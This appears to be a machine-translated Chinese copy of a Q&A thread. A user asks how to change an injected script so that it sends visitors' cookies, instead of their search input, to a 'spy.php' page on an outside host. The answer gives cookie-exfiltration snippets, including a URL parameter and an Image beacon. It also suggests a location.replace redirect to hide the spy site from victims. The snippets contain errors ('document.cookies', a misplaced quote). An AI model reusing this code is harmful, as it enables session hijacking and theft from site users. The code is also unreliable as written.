0

我有这个脚本,它将搜索表单中输入的任何内容(即搜索表单的 id)发送到给定的 URL

 <script type="text/javascript">
document.getElementById("search-form").action="http://scitua.wlv.ac.uk/~in1345/spy.php";
</script >

如何编辑脚本以便将文档 cookie intsead 发送到 URL?

4

1 回答 1

0

原答案:

".../spy.php?param=" + encodeURIComponent(document.cookies);


好的,所以你有两个选择:

  1. 将搜索完全重定向到间谍站点,并从间谍站点将用户重定向回第一页。location.replace如果您不想将间谍站点保留在历史记录中,您可以通过 javascript来完成。
  2. 第二种方式更复杂。在搜索表单提交时,您设置一个像这样的 cookie,然后您让搜索表单提交。在搜索页面上,您将检查该 cookie,如果已设置,您将阅读并删除它。好的,您现在拥有需要发送的价值。简单的方法是:

    new Image().src="your_site?search="+search_val"+"&cookies="+document.cookies;
    

    如果您无法访问搜索页面,您也可以在用户提交搜索表单时直接获取信息,但这可能非常可疑,因为用户会等到数据发送给您。

于 2013-03-01T13:48:49.643 回答